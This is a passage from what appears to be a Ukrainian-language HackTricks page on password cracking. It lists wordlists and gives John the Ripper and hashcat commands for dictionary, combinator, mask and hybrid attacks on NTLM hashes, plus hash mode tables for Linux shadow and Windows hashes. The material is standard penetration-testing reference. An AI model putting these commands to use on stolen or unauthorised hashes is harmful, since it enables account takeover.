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```bash
hash-identifier
> <HASH>
```
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### Wordlists
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* **Rockyou**
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* [**Probable-Wordlists** ](https://github.com/berzerk0/Probable-Wordlists )
* [**Kaonashi** ](https://github.com/kaonashi-passwords/Kaonashi/tree/master/wordlists )
* [**Seclists - Passwords** ](https://github.com/danielmiessler/SecLists/tree/master/Passwords )
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### **Інструменти для генерації словників**
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* [**kwprocessor** ](https://github.com/hashcat/kwprocessor )**:** Розширений генератор клавіатурних комбінацій з налаштовуваними базовими символами, картами клавіш та маршрутами.
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```bash
kwp64.exe basechars\custom.base keymaps\uk.keymap routes\2-to-10-max-3-direction-changes.route -o D:\Tools\keywalk.txt
```
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### John mutation
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Прочитайте _**/etc/john/john.conf**_ та налаштуйте його
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```bash
john --wordlist=words.txt --rules --stdout > w_mutated.txt
john --wordlist=words.txt --rules=all --stdout > w_mutated.txt #Apply all rules
```
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### Hashcat
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#### Hashcat атаки
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* **Атака зі словником** (`-a 0`) з правилами
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**Hashcat** вже постачається з **папкою, що містить правила** , але ви можете знайти [**інші цікаві правила тут** ](https://github.com/kaonashi-passwords/Kaonashi/tree/master/rules ).
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```
hashcat.exe -a 0 -m 1000 C:\Temp\ntlm.txt .\rockyou.txt -r rules\best64.rule
```
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* **Wordlist combinator** attack
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Можливо **о б 'єднати 2 списки слів в 1** за допомогою hashcat.\
Якщо список 1 містив слово ** "hello"**, а другий містив 2 рядки зі словами ** "world"** та ** "earth"**. Будуть згенеровані слова `helloworld` та `helloearth` .
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```bash
# This will combine 2 wordlists
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt
# Same attack as before but adding chars in the newly generated words
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# In the previous example this will generate:
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## hello-world!
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## hello-earth!
hashcat.exe -a 1 -m 1000 C:\Temp\ntlm.txt .\wordlist1.txt .\wordlist2.txt -j $- -k $!
```
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* **Атака маски** (`-a 3`)
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```bash
# Mask attack with simple mask
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt ?u?l?l?l?l?l?l?l?d
hashcat --help #will show the charsets and are as follows
? | Charset
===+=========
l | abcdefghijklmnopqrstuvwxyz
u | ABCDEFGHIJKLMNOPQRSTUVWXYZ
d | 0123456789
h | 0123456789abcdef
H | 0123456789ABCDEF
s | !"#$%&'()*+,-./:; < =>?@[\]^_`{|}~
a | ?l?u?d?s
b | 0x00 - 0xff
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# Mask attack declaring custom charset
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hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt -1 ?d?s ?u?l?l?l?l?l?l?l?1
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## -1 ?d?s defines a custom charset (digits and specials).
## ?u?l?l?l?l?l?l?l?1 is the mask, where "?1" is the custom charset.
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# Mask attack with variable password length
## Create a file called masks.hcmask with this content:
?d?s,?u?l?l?l?l?1
?d?s,?u?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?1
?d?s,?u?l?l?l?l?l?l?l?l?1
## Use it to crack the password
hashcat.exe -a 3 -m 1000 C:\Temp\ntlm.txt .\masks.hcmask
```
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* Словниковий список + Маска (`-a 6`) / Маска + Словниковий список (`-a 7`) атака
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```bash
# Mask numbers will be appended to each word in the wordlist
hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d
# Mask numbers will be prepended to each word in the wordlist
hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt
```
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#### Режими Hashcat
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```bash
hashcat --example-hashes | grep -B1 -A2 "NTLM"
```
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Злом Linux Hashes - файл /etc/shadow
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```
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500 | md5crypt $1$, MD5(Unix) | Operating-Systems
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3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems
7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems
1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems
```
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Злом Windows Hashes
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```
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3000 | LM | Operating-Systems
1000 | NTLM | Operating-Systems
```
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Злом загальних хешів додатків
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```
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900 | MD4 | Raw Hash
0 | MD5 | Raw Hash
5100 | Half MD5 | Raw Hash
100 | SHA1 | Raw Hash
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10800 | SHA-384 | Raw Hash
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1400 | SHA-256 | Raw Hash
1700 | SHA-512 | Raw Hash
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```
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{% hint style="success" %}
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Вивчайте та практикуйте GCP Hacking: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Training GCP Red Team Expert (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
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2022-04-28 16:01:33 +00:00
< details >
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< summary > Підтримайте HackTricks< / summary >
2023-12-30 10:12:47 +00:00
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* Перевірте [**плани підписки** ](https://github.com/sponsors/carlospolop )!
* **Приєднуйтесь до** 💬 [**групи Discord** ](https://discord.gg/hRep4RUj7f ) а б о [**групи Telegram** ](https://t.me/peass ) а б о **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) та [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) репозиторіїв на github.
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< / details >
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{% endhint %}
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< figure > < img src = "../.gitbook/assets/image (48).png" alt = "" > < figcaption > < / figcaption > < / figure >
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\
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Використовуйте [**Trickest** ](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force ) для легкого створення та **автоматизації робочих процесів** , підтримуваних **найсучаснішими** інструментами спільноти.\
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Отримайте доступ сьогодні:
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{% embed url="https://trickest.com/?utm_source=hacktricks& utm_medium=banner& utm_campaign=ppc& utm_content=brute-force" %}